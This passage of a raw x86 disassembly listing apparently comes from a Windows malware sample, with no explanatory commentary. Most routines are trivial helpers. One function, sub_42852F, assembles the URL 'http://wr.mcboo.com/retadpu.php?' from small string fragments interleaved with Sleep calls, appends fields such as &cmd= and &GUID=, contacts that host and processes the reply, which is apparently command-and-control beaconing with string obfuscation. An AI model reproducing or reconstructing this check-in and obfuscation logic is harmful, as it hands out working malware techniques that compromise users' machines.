ecx mov edx, [ebp+var_4] mov eax, [ebp+arg_4] mov [edx+4], eax mov ecx, [ebp+var_4] mov edx, [ebp+arg_8] mov [ecx+8], edx mov eax, [ebp+var_4] mov ecx, [ebp+arg_C] mov [eax+0Ch], ecx mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 10h sub_428320 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428360 proc near ; CODE XREF: sub_4270ED+AAp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] push ecx call dword_433290 ; CopyRect mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_428360 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428380 proc near ; CODE XREF: TEUm:0042737Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] push ecx call dword_433294 ; EqualRect mov esp, ebp pop ebp retn 4 sub_428380 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4283A0 proc near ; CODE XREF: TEUm:00426E8Bp ; TEUm:00426E96p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_4283A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4283B0 proc near ; CODE XREF: TEUm:00427409p ; TEUm:00427423p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov [eax], ecx mov edx, [ebp+var_4] mov eax, [ebp+arg_4] mov [edx+4], eax mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 8 sub_4283B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4283E0 proc near ; CODE XREF: sub_427610+B0p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov [eax], ecx mov edx, [ebp+arg_4] mov [eax+4], edx mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 8 sub_4283E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428400 proc near ; CODE XREF: TEUm:0042785Ep var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov ecx, [eax] cmp ecx, [ebp+arg_0] jnz short loc_428427 mov edx, [ebp+var_4] mov eax, [edx+4] cmp eax, [ebp+arg_4] jnz short loc_428427 mov [ebp+var_8], 1 jmp short loc_42842E ; --------------------------------------------------------------------------- loc_428427: ; CODE XREF: sub_428400+11j ; sub_428400+1Cj mov [ebp+var_8], 0 loc_42842E: ; CODE XREF: sub_428400+25j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn 8 sub_428400 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428440 proc near ; CODE XREF: TEUm:004278B6p ; TEUm:0042797Ap ... var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_428440 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch mov [ebp+var_18], ecx lea eax, [ebp+var_10] push eax mov ecx, [ebp+var_18] add ecx, 8 call dword_43316C mov [ebp+var_4], 0 lea ecx, [ebp+var_14] push ecx mov ecx, [ebp+var_18] add ecx, 18h call dword_43316C mov [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_18] mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_428440 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4284A0 proc near ; CODE XREF: TEUm:00427B10p ; TEUm:00428060p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_4284A0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov [ebp+var_10], ecx mov [ebp+var_4], 0 mov ecx, [ebp+var_10] add ecx, 18h call dword_433168 mov [ebp+var_4], 0FFFFFFFFh mov ecx, [ebp+var_10] add ecx, 8 call dword_433168 mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_4284A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4284F0 proc near ; DATA XREF: TEUm:00437004o push ebp mov ebp, esp call sub_4284FF call sub_42850E pop ebp retn sub_4284F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4284FF proc near ; CODE XREF: sub_4284F0+3p push ebp mov ebp, esp mov ecx, offset dword_439D00 call sub_429850 pop ebp retn sub_4284FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42850E proc near ; CODE XREF: sub_4284F0+8p push ebp mov ebp, esp push offset sub_428520 call sub_431902 add esp, 4 pop ebp retn sub_42850E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428520 proc near ; DATA XREF: sub_42850E+3o push ebp mov ebp, esp mov ecx, offset dword_439D00 call sub_4297D0 pop ebp retn sub_428520 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42852F proc near ; CODE XREF: sub_42948F+F9p var_28DC = dword ptr -28DCh var_28D8 = dword ptr -28D8h var_28D4 = dword ptr -28D4h var_28D0 = dword ptr -28D0h var_28CA = word ptr -28CAh var_28C8 = dword ptr -28C8h var_28C4 = dword ptr -28C4h var_28C0 = dword ptr -28C0h var_28BC = dword ptr -28BCh var_28B8 = dword ptr -28B8h var_28B4 = dword ptr -28B4h var_28B0 = dword ptr -28B0h var_28AC = dword ptr -28ACh var_28A8 = dword ptr -28A8h var_28A4 = dword ptr -28A4h var_28A0 = dword ptr -28A0h var_289C = dword ptr -289Ch var_2898 = dword ptr -2898h var_2894 = dword ptr -2894h var_2890 = dword ptr -2890h var_288C = dword ptr -288Ch var_2888 = dword ptr -2888h var_2884 = dword ptr -2884h var_2880 = dword ptr -2880h var_287C = dword ptr -287Ch var_2878 = dword ptr -2878h var_2874 = dword ptr -2874h var_2870 = dword ptr -2870h var_286C = dword ptr -286Ch var_2868 = dword ptr -2868h var_2864 = dword ptr -2864h var_2860 = dword ptr -2860h var_285C = dword ptr -285Ch var_2858 = dword ptr -2858h var_2854 = dword ptr -2854h var_2850 = dword ptr -2850h var_284C = dword ptr -284Ch var_2848 = dword ptr -2848h var_2844 = dword ptr -2844h var_2840 = dword ptr -2840h var_283C = dword ptr -283Ch var_2838 = dword ptr -2838h var_2834 = dword ptr -2834h var_2830 = dword ptr -2830h var_282C = dword ptr -282Ch var_2828 = dword ptr -2828h var_2824 = dword ptr -2824h var_2820 = dword ptr -2820h var_281C = dword ptr -281Ch var_2818 = byte ptr -2818h var_2814 = dword ptr -2814h var_2810 = dword ptr -2810h var_280C = dword ptr -280Ch var_2808 = byte ptr -2808h var_2804 = dword ptr -2804h var_2800 = byte ptr -2800h var_27FC = byte ptr -27FCh var_27F8 = byte ptr -27F8h var_27F4 = byte ptr -27F4h var_27F0 = byte ptr -27F0h var_27EC = byte ptr -27ECh var_27E8 = byte ptr -27E8h var_27E4 = byte ptr -27E4h var_27E0 = byte ptr -27E0h var_27DC = byte ptr -27DCh var_27D8 = byte ptr -27D8h var_27D4 = byte ptr -27D4h var_27D0 = byte ptr -27D0h var_27CC = byte ptr -27CCh var_27C8 = byte ptr -27C8h var_27C4 = dword ptr -27C4h var_27C0 = byte ptr -27C0h var_27BC = byte ptr -27BCh var_27B8 = dword ptr -27B8h var_27B4 = dword ptr -27B4h var_27B0 = byte ptr -27B0h var_27AC = byte ptr -27ACh var_279C = byte ptr -279Ch var_1F9C = byte ptr -1F9Ch var_1F98 = dword ptr -1F98h var_1F94 = dword ptr -1F94h var_1F90 = byte ptr -1F90h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_38 = byte ptr -38h var_34 = byte ptr -34h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_42852F mov eax, large fs:0 push eax mov large fs:0, esp mov eax, 28D0h call sub_431860 mov [ebp+var_282C], ecx mov [ebp+var_1F98], 0 mov [ebp+var_38], 1 lea ecx, [ebp+var_1C] call sub_4298D0 mov [ebp+var_4], 0 lea ecx, [ebp+var_18] call sub_4317AE mov byte ptr [ebp+var_4], 1 lea ecx, [ebp+var_24] call sub_4317AE mov byte ptr [ebp+var_4], 2 mov [ebp+var_1F94], 0 lea ecx, [ebp+var_14] call sub_4317AE mov byte ptr [ebp+var_4], 3 mov [ebp+var_20], 0 mov eax, [ebp+var_282C] mov ecx, [eax] push ecx push offset aD_0 ; "%d" lea edx, [ebp+var_48] push edx call dword_4331E4 ; sprintf add esp, 0Ch lea eax, [ebp+var_48] push eax push offset asc_437578 ; "&x=" lea ecx, [ebp+var_27BC] push ecx mov ecx, [ebp+var_282C] add ecx, 8 call sub_425896 mov [ebp+var_2830], eax mov edx, [ebp+var_2830] mov [ebp+var_2834], edx mov byte ptr [ebp+var_4], 4 mov eax, [ebp+var_2834] push eax push offset aI_0 ; "&i=" lea ecx, [ebp+var_27C0] push ecx mov ecx, [ebp+var_282C] add ecx, 8 call sub_42578F mov [ebp+var_2838], eax mov edx, [ebp+var_2838] mov [ebp+var_283C], edx mov byte ptr [ebp+var_4], 5 mov eax, [ebp+var_283C] push eax push offset aP_1 ; "&p=" push offset dword_43BD40 push offset aCmd_0 ; "&cmd=" mov ecx, [ebp+var_282C] add ecx, 10h push ecx mov edx, esp mov [ebp+var_27C4], esp push ecx mov ecx, edx call sub_431796 mov [ebp+var_2840], eax lea eax, [ebp+var_27C8] push eax mov ecx, [ebp+var_282C] add ecx, 8 call sub_422FB0 mov [ebp+var_2844], eax mov ecx, [ebp+var_2844] mov [ebp+var_2848], ecx mov byte ptr [ebp+var_4], 6 mov edx, [ebp+var_2848] push edx push offset aGuid ; "&GUID=" lea eax, [ebp+var_27CC] push eax mov ecx, [ebp+var_282C] add ecx, 8 call sub_42552A mov [ebp+var_284C], eax mov ecx, [ebp+var_284C] mov [ebp+var_2850], ecx mov byte ptr [ebp+var_4], 7 mov edx, [ebp+var_2850] push edx push offset aConfigversion ; "&configversion=" mov eax, [ebp+var_282C] add eax, 1Ch push eax push offset aVersion ; "&version=" lea ecx, [ebp+var_27D0] push ecx call sub_4317DE mov [ebp+var_2854], eax mov edx, [ebp+var_2854] mov [ebp+var_2858], edx mov byte ptr [ebp+var_4], 8 mov eax, [ebp+var_2858] push eax lea ecx, [ebp+var_27D4] push ecx call sub_4317BA mov [ebp+var_285C], eax mov edx, [ebp+var_285C] mov [ebp+var_2860], edx mov byte ptr [ebp+var_4], 9 mov eax, [ebp+var_2860] push eax lea ecx, [ebp+var_27D8] push ecx call sub_4317B4 mov [ebp+var_2864], eax mov edx, [ebp+var_2864] mov [ebp+var_2868], edx mov byte ptr [ebp+var_4], 0Ah mov eax, [ebp+var_2868] push eax lea ecx, [ebp+var_27DC] push ecx call sub_4317BA mov [ebp+var_286C], eax mov edx, [ebp+var_286C] mov [ebp+var_2870], edx mov byte ptr [ebp+var_4], 0Bh mov eax, [ebp+var_2870] push eax lea ecx, [ebp+var_27E0] push ecx call sub_4317B4 mov [ebp+var_2874], eax mov edx, [ebp+var_2874] mov [ebp+var_2878], edx mov byte ptr [ebp+var_4], 0Ch mov eax, [ebp+var_2878] push eax lea ecx, [ebp+var_27E4] push ecx call sub_4317BA mov [ebp+var_287C], eax mov edx, [ebp+var_287C] mov [ebp+var_2880], edx mov byte ptr [ebp+var_4], 0Dh mov eax, [ebp+var_2880] push eax lea ecx, [ebp+var_27E8] push ecx call sub_4317B4 mov [ebp+var_2884], eax mov edx, [ebp+var_2884] mov [ebp+var_2888], edx mov byte ptr [ebp+var_4], 0Eh mov eax, [ebp+var_2888] push eax lea ecx, [ebp+var_27EC] push ecx call sub_4317BA mov [ebp+var_288C], eax mov edx, [ebp+var_288C] mov [ebp+var_2890], edx mov byte ptr [ebp+var_4], 0Fh mov eax, [ebp+var_2890] push eax lea ecx, [ebp+var_27F0] push ecx call sub_4317B4 mov [ebp+var_2894], eax mov edx, [ebp+var_2894] mov [ebp+var_2898], edx mov byte ptr [ebp+var_4], 10h mov eax, [ebp+var_2898] push eax lea ecx, [ebp+var_27F4] push ecx call sub_4317BA mov [ebp+var_289C], eax mov edx, [ebp+var_289C] mov [ebp+var_28A0], edx mov byte ptr [ebp+var_4], 11h mov eax, [ebp+var_28A0] push eax lea ecx, [ebp+var_27F8] push ecx call sub_4317B4 mov [ebp+var_28A4], eax mov edx, [ebp+var_28A4] mov [ebp+var_28A8], edx mov byte ptr [ebp+var_4], 12h mov eax, [ebp+var_28A8] push eax lea ecx, [ebp+var_27FC] push ecx call sub_4317BA mov [ebp+var_28AC], eax mov edx, [ebp+var_28AC] mov [ebp+var_28B0], edx mov byte ptr [ebp+var_4], 13h mov eax, [ebp+var_28B0] push eax lea ecx, [ebp+var_2800] push ecx call sub_4317BA mov [ebp+var_28B4], eax mov edx, [ebp+var_28B4] mov [ebp+var_28B8], edx mov byte ptr [ebp+var_4], 14h mov eax, [ebp+var_28B8] push eax lea ecx, [ebp+var_14] call sub_4317A8 mov byte ptr [ebp+var_4], 13h lea ecx, [ebp+var_2800] call sub_4317A2 mov byte ptr [ebp+var_4], 12h lea ecx, [ebp+var_27FC] call sub_4317A2 mov byte ptr [ebp+var_4], 11h lea ecx, [ebp+var_27F8] call sub_4317A2 mov byte ptr [ebp+var_4], 10h lea ecx, [ebp+var_27F4] call sub_4317A2 mov byte ptr [ebp+var_4], 0Fh lea ecx, [ebp+var_27F0] call sub_4317A2 mov byte ptr [ebp+var_4], 0Eh lea ecx, [ebp+var_27EC] call sub_4317A2 mov byte ptr [ebp+var_4], 0Dh lea ecx, [ebp+var_27E8] call sub_4317A2 mov byte ptr [ebp+var_4], 0Ch lea ecx, [ebp+var_27E4] call sub_4317A2 mov byte ptr [ebp+var_4], 0Bh lea ecx, [ebp+var_27E0] call sub_4317A2 mov byte ptr [ebp+var_4], 0Ah lea ecx, [ebp+var_27DC] call sub_4317A2 mov byte ptr [ebp+var_4], 9 lea ecx, [ebp+var_27D8] call sub_4317A2 mov byte ptr [ebp+var_4], 8 lea ecx, [ebp+var_27D4] call sub_4317A2 mov byte ptr [ebp+var_4], 7 lea ecx, [ebp+var_27D0] call sub_4317A2 mov byte ptr [ebp+var_4], 6 lea ecx, [ebp+var_27CC] call sub_4317A2 mov byte ptr [ebp+var_4], 5 lea ecx, [ebp+var_27C8] call sub_4317A2 mov byte ptr [ebp+var_4], 4 lea ecx, [ebp+var_27C0] call sub_4317A2 mov byte ptr [ebp+var_4], 3 lea ecx, [ebp+var_27BC] call sub_4317A2 push offset aHtt ; "htt" lea ecx, [ebp+var_279C] push ecx call dword_4330CC ; lstrcpyA push 24h call dword_4330E0 ; Sleep push offset aP ; "p://" lea edx, [ebp+var_279C] push edx call dword_433074 ; lstrcatA push 22h call dword_4330E0 ; Sleep push offset aWr_mc ; "wr.mc" lea eax, [ebp+var_279C] push eax call dword_433074 ; lstrcatA push 22h call dword_4330E0 ; Sleep push offset aBo ; "bo" lea ecx, [ebp+var_279C] push ecx call dword_433074 ; lstrcatA push 24h call dword_4330E0 ; Sleep push offset aO ; "o" lea edx, [ebp+var_279C] push edx call dword_433074 ; lstrcatA push 27h call dword_4330E0 ; Sleep push offset a_co ; ".co" lea eax, [ebp+var_279C] push eax call dword_433074 ; lstrcatA push 22h call dword_4330E0 ; Sleep push offset aMR ; "m/r" lea ecx, [ebp+var_279C] push ecx call dword_433074 ; lstrcatA push 21h call dword_4330E0 ; Sleep push offset aEta ; "eta" lea edx, [ebp+var_279C] push edx call dword_433074 ; lstrcatA push 22h call dword_4330E0 ; Sleep push offset aDpu_ ; "dpu." lea eax, [ebp+var_279C] push eax call dword_433074 ; lstrcatA push 21h call dword_4330E0 ; Sleep push offset aPh ; "ph" lea ecx, [ebp+var_279C] push ecx call dword_433074 ; lstrcatA push 20h call dword_4330E0 ; Sleep push offset aP? ; "p?" lea edx, [ebp+var_279C] push edx call dword_433074 ; lstrcatA push 22h call dword_4330E0 ; Sleep lea ecx, [ebp+var_14] call sub_4226A0 push eax lea eax, [ebp+var_279C] push eax call dword_433074 ; lstrcatA lea ecx, [ebp+var_20] push ecx lea edx, [ebp+var_279C] push edx mov ecx, [ebp+var_282C] add ecx, 8 call sub_422F1F mov [ebp+var_10], eax cmp [ebp+var_10], 64h jnb short loc_428B9C mov [ebp+var_2804], 0 mov byte ptr [ebp+var_4], 2 lea ecx, [ebp+var_14] call sub_4317A2 mov byte ptr [ebp+var_4], 1 lea ecx, [ebp+var_24] call sub_4317A2 mov byte ptr [ebp+var_4], 0 lea ecx, [ebp+var_18] call sub_4317A2 mov [ebp+var_4], 0FFFFFFFFh lea ecx, [ebp+var_1C] call sub_4241A6 mov eax, [ebp+var_2804] jmp loc_42902B ; --------------------------------------------------------------------------- loc_428B9C: ; CODE XREF: sub_42852F+623j mov eax, [ebp+var_10] add eax, 1 push eax mov ecx, [ebp+var_20] push ecx lea edx, [ebp+var_1F90] push edx call dword_4330C8 ; lstrcpynA push 1Dh call dword_4330E0 ; Sleep mov eax, [ebp+var_10] mov [ebp+eax+var_1F90], 0 mov ecx, [ebp+var_10] push ecx mov edx, [ebp+var_20] push edx lea eax, [ebp+var_2808] push eax mov ecx, [ebp+var_282C] add ecx, 8 call sub_4230F8 mov [ebp+var_28BC], eax mov ecx, [ebp+var_28BC] mov [ebp+var_28C0], ecx mov byte ptr [ebp+var_4], 15h mov ecx, [ebp+var_28C0] call sub_4226A0 push eax lea edx, [ebp+var_1F90] push edx call dword_4330CC ; lstrcpyA mov byte ptr [ebp+var_4], 3 lea ecx, [ebp+var_2808] call sub_4317A2 lea eax, [ebp+var_1F90] push eax lea ecx, [ebp+var_1C] call sub_429920 push 1Dh call dword_4330E0 ; Sleep lea ecx, [ebp+var_1C] call sub_4299D0 cmp eax, 64h jnb short loc_428C9D lea ecx, [ebp+var_1C] call sub_4299A0 push eax call dword_433274 mov [ebp+var_280C], 0FFFFFFFFh mov byte ptr [ebp+var_4], 2 lea ecx, [ebp+var_14] call sub_4317A2 mov byte ptr [ebp+var_4], 1 lea ecx, [ebp+var_24] call sub_4317A2 mov byte ptr [ebp+var_4], 0 lea ecx, [ebp+var_18] call sub_4317A2 mov [ebp+var_4], 0FFFFFFFFh lea ecx, [ebp+var_1C] call sub_4241A6 mov eax, [ebp+var_280C] jmp loc_42902B ; --------------------------------------------------------------------------- loc_428C9D: ; CODE XREF: sub_42852F+715j push 0 lea ecx, [ebp+var_1F9C] call sub_429E30 mov byte ptr [ebp+var_4], 16h push 7 push 0 push offset byte_4332B8 lea ecx, [ebp+var_1F9C] call sub_429EB0 mov [ebp+var_50], eax cmp [ebp+var_50], 0 jge short loc_428D40 push 0 push 0 mov ecx, [ebp+var_50] push ecx lea ecx, [ebp+var_27AC] call sub_429C60 mov [ebp+var_2810], 0FFFFFFFEh lea ecx, [ebp+var_27AC] call sub_429CF0 mov byte ptr [ebp+var_4], 3 lea ecx, [ebp+var_1F9C] call sub_429E60 mov byte ptr [ebp+var_4], 2 lea ecx, [ebp+var_14] call sub_4317A2 mov byte ptr [ebp+var_4], 1 lea ecx, [ebp+var_24] call sub_4317A2 mov byte ptr [ebp+var_4], 0 lea ecx, [ebp+var_18] call sub_4317A2 mov [ebp+var_4], 0FFFFFFFFh lea ecx, [ebp+var_1C] call sub_4241A6 mov eax, [ebp+var_2810] jmp loc_42902B ; --------------------------------------------------------------------------- loc_428D40: ; CODE XREF: sub_42852F+79Aj lea ecx, [ebp+var_34] call sub_429A80 mov byte ptr [ebp+var_4], 17h push ecx mov ecx, esp mov [ebp+var_2814], esp lea edx, [ebp+var_1C] push edx call sub_4298F0 mov [ebp+var_28C4], eax mov eax, [ebp+var_28C4] mov [ebp+var_28C8], eax mov byte ptr [ebp+var_4], 18h lea ecx, [ebp+var_1F9C] call sub_429E80 mov ecx, eax mov byte ptr [ebp+var_4], 17h call sub_429DA0 mov [ebp+var_28CA], ax mov cx, [ebp+var_28CA] push ecx lea ecx, [ebp+var_34] call sub_429B30 mov [ebp+var_4C], 0FFFFFFFFh call dword_433028 ; RtlGetLastWin32Error mov [ebp+var_4C], eax lea ecx, [ebp+var_34] call sub_429AA0 and eax, 0FFh cmp eax, 1 jnz loc_428F4F lea ecx, [ebp+var_27B0] call sub_4298D0 mov byte ptr [ebp+var_4], 19h lea edx, [ebp+var_2818] push edx lea ecx, [ebp+var_1F9C] call sub_429E80 mov ecx, eax call sub_429D40 mov [ebp+var_28D0], eax mov eax, [ebp+var_28D0] push eax lea ecx, [ebp+var_27B0] call sub_429FC0 lea ecx, [ebp+var_2818] call sub_4264D2 push ecx mov ecx, esp mov [ebp+var_281C], esp lea edx, [ebp+var_27B0] push edx call sub_429F60 mov [ebp+var_28D4], eax mov ecx, [ebp+var_282C] add ecx, 8 call sub_424485 mov [ebp+var_28D8], eax mov eax, [ebp+var_28D8] mov [ebp+var_1F98], eax mov ecx, [ebp+var_1F98] imul ecx, 1400Ch mov [ebp+var_27B4], ecx cmp [ebp+var_1F98], 0 jnz short loc_428E80 mov edx, [ebp+var_27B4] push edx call dword_4331C8 ; malloc add esp, 4 mov [ebp+var_27B8], eax jmp short loc_428E96 ; --------------------------------------------------------------------------- loc_428E80: ; CODE XREF: sub_42852F+937j mov eax, [ebp+var_27B4] push eax call dword_4331C8 ; malloc add esp, 4 mov [ebp+var_27B8], eax loc_428E96: ; CODE XREF: sub_42852F+94Fj mov ecx, [ebp+var_27B4] push ecx push 0 mov edx, [ebp+var_27B8] push edx call sub_4318B2 ; memset add esp, 0Ch push 1Dh call dword_4330E0 ; Sleep mov eax, [ebp+var_1F98] push eax mov ecx, [ebp+var_27B8] push ecx mov ecx, [ebp+var_282C] add ecx, 8 call sub_4233A8 push 1Ch call dword_4330E0 ; Sleep mov edx, [ebp+var_27B8] push edx push ecx mov ecx, esp mov [ebp+var_2820], esp lea eax, [ebp+var_27B0] push eax call sub_429F60 mov [ebp+var_28DC], eax mov ecx, [ebp+var_282C] add ecx, 8 call sub_423489 push 1Bh call dword_4330E0 ; Sleep mov ecx, [ebp+var_1F98] push ecx mov edx, [ebp+var_27B8] push edx mov ecx, [ebp+var_282C] add ecx, 8 call sub_424606 mov eax, [ebp+var_27B8] push eax call dword_4331D4 ; free add esp, 4 mov byte ptr [ebp+var_4], 17h lea ecx, [ebp+var_27B0] call sub_4264D2 jmp short loc_428FBE ; --------------------------------------------------------------------------- loc_428F4F: ; CODE XREF: sub_42852F+892j lea ecx, [ebp+var_1C] call sub_4299A0 push eax call dword_433274 mov [ebp+var_2824], 0FFFFFFFDh mov byte ptr [ebp+var_4], 16h lea ecx, [ebp+var_34] call sub_429C40 mov byte ptr [ebp+var_4], 3 lea ecx, [ebp+var_1F9C] call sub_429E60 mov byte ptr [ebp+var_4], 2 lea ecx, [ebp+var_14] call sub_4317A2 mov byte ptr [ebp+var_4], 1 lea ecx, [ebp+var_24] call sub_4317A2 mov byte ptr [ebp+var_4], 0 lea ecx, [ebp+var_18] call sub_4317A2 mov [ebp+var_4], 0FFFFFFFFh lea ecx, [ebp+var_1C] call sub_4241A6 mov eax, [ebp+var_2824] jmp short loc_42902B ; --------------------------------------------------------------------------- loc_428FBE: ; CODE XREF: sub_42852F+A1Ej lea ecx, [ebp+var_1C] call sub_4299A0 push eax call dword_433274 mov [ebp+var_2828], 1 mov byte ptr [ebp+var_4], 16h lea ecx, [ebp+var_34] call sub_429C40 mov byte ptr [ebp+var_4], 3 lea ecx, [ebp+var_1F9C] call sub_429E60 mov byte ptr [ebp+var_4], 2 lea ecx, [ebp+var_14] call sub_4317A2 mov byte ptr [ebp+var_4], 1 lea ecx, [ebp+var_24] call sub_4317A2 mov byte ptr [ebp+var_4], 0 lea ecx, [ebp+var_18] call sub_4317A2 mov [ebp+var_4], 0FFFFFFFFh lea ecx, [ebp+var_1C] call sub_4241A6 mov eax, [ebp+var_2828] loc_42902B: ; CODE XREF: sub_42852F+668j ; sub_42852F+769j ... mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_42852F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429039 proc near ; CODE XREF: sub_42948F+B0p var_807C = dword ptr -807Ch var_8078 = dword ptr -8078h var_8074 = dword ptr -8074h var_8070 = dword ptr -8070h var_806C = dword ptr -806Ch var_8068 = dword ptr -8068h var_8064 = dword ptr -8064h var_8060 = dword ptr -8060h var_805C = dword ptr -805Ch var_8058 = dword ptr -8058h var_8054 = dword ptr -8054h var_8050 = dword ptr -8050h var_804C = dword ptr -804Ch var_8048 = dword ptr -8048h var_8044 = dword ptr -8044h var_8040 = byte ptr -8040h var_803C = byte ptr -803Ch var_8038 = byte ptr -8038h var_8034 = byte ptr -8034h var_8030 = byte ptr -8030h var_802C = byte ptr -802Ch var_8028 = byte ptr -8028h var_8024 = byte ptr -8024h var_8020 = byte ptr -8020h var_801C = byte ptr -801Ch var_8018 = dword ptr -8018h var_8014 = byte ptr -8014h var_6014 = byte ptr -6014h var_4014 = byte ptr -4014h var_4010 = byte ptr -4010h var_2010 = byte ptr -2010h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_429039 mov eax, large fs:0 push eax mov large fs:0, esp mov eax, 8070h call sub_431860 mov [ebp+var_8044], ecx mov [ebp+var_801C], 1 lea ecx, [ebp+var_4014] call sub_4317AE mov [ebp+var_4], 0 push offset dword_43BD40 lea ecx, [ebp+var_4014] call sub_4317A8 lea ecx, [ebp+var_4014] call sub_428280 test eax, eax jnz short loc_4290E5 lea eax, [ebp+var_8024] push eax mov ecx, [ebp+var_8044] add ecx, 8 call sub_425C67 mov [ebp+var_8048], eax mov ecx, [ebp+var_8048] mov [ebp+var_804C], ecx mov byte ptr [ebp+var_4], 1 mov edx, [ebp+var_804C] push edx lea ecx, [ebp+var_4014] call sub_4317A8 mov byte ptr [ebp+var_4], 0 lea ecx, [ebp+var_8024] call sub_4317A2 loc_4290E5: ; CODE XREF: sub_429039+5Ej lea ecx, [ebp+var_4014] call sub_4226A0 push eax lea eax, [ebp+var_6014] push eax call dword_4330CC ; lstrcpyA lea ecx, [ebp+var_6014] push ecx call dword_4330B4 ; lstrlenA push eax lea edx, [ebp+var_6014] push edx lea eax, [ebp+var_8028] push eax mov ecx, [ebp+var_8044] add ecx, 8 call sub_4230F8 mov [ebp+var_8050], eax mov ecx, [ebp+var_8050] mov [ebp+var_8054], ecx mov byte ptr [ebp+var_4], 2 mov edx, [ebp+var_8054] push edx lea ecx, [ebp+var_4014] call sub_4317A8 mov byte ptr [ebp+var_4], 0 lea ecx, [ebp+var_8028] call sub_4317A2 lea ecx, [ebp+var_4014] call sub_4226A0 push eax lea eax, [ebp+var_8014] push eax call dword_433298 ; wsprintfA add esp, 8 movsx ecx, [ebp+var_8014] cmp ecx, 2Fh jnz loc_429444 push 0 push 1 lea edx, [ebp+var_8014] push edx lea eax, [ebp+var_802C] push eax lea ecx, [ebp+var_8020] call sub_421ACF mov [ebp+var_8058], eax mov ecx, [ebp+var_8058] mov [ebp+var_805C], ecx mov byte ptr [ebp+var_4], 3 mov ecx, [ebp+var_805C] call sub_4226A0 push eax lea edx, [ebp+var_8014] push edx call sub_4318B8 ; strcpy add esp, 8 mov byte ptr [ebp+var_4], 0 lea ecx, [ebp+var_802C] call sub_4317A2 loc_4291E8: ; CODE XREF: sub_429039:loc_42943Fj push 2Fh lea eax, [ebp+var_8014] push eax lea ecx, [ebp+var_8020] call sub_421A20 mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz loc_429444 cmp [ebp+var_10], 0FFFFFFFFh jnz short loc_429225 lea ecx, [ebp+var_8014] push ecx lea edx, [ebp+var_4010] push edx call dword_4330CC ; lstrcpyA jmp short loc_429282 ; --------------------------------------------------------------------------- loc_429225: ; CODE XREF: sub_429039+1D4j mov eax, [ebp+var_10] push eax push 0 lea ecx, [ebp+var_8014] push ecx lea edx, [ebp+var_8030] push edx lea ecx, [ebp+var_8020] call sub_421ACF mov [ebp+var_8060], eax mov eax, [ebp+var_8060] mov [ebp+var_8064], eax mov byte ptr [ebp+var_4], 4 mov ecx, [ebp+var_8064] call sub_4226A0 push eax lea ecx, [ebp+var_4010] push ecx call dword_4330CC ; lstrcpyA mov byte ptr [ebp+var_4], 0 lea ecx, [ebp+var_8030] call sub_4317A2 loc_429282: ; CODE XREF: sub_429039+1EAj push 0 mov edx, 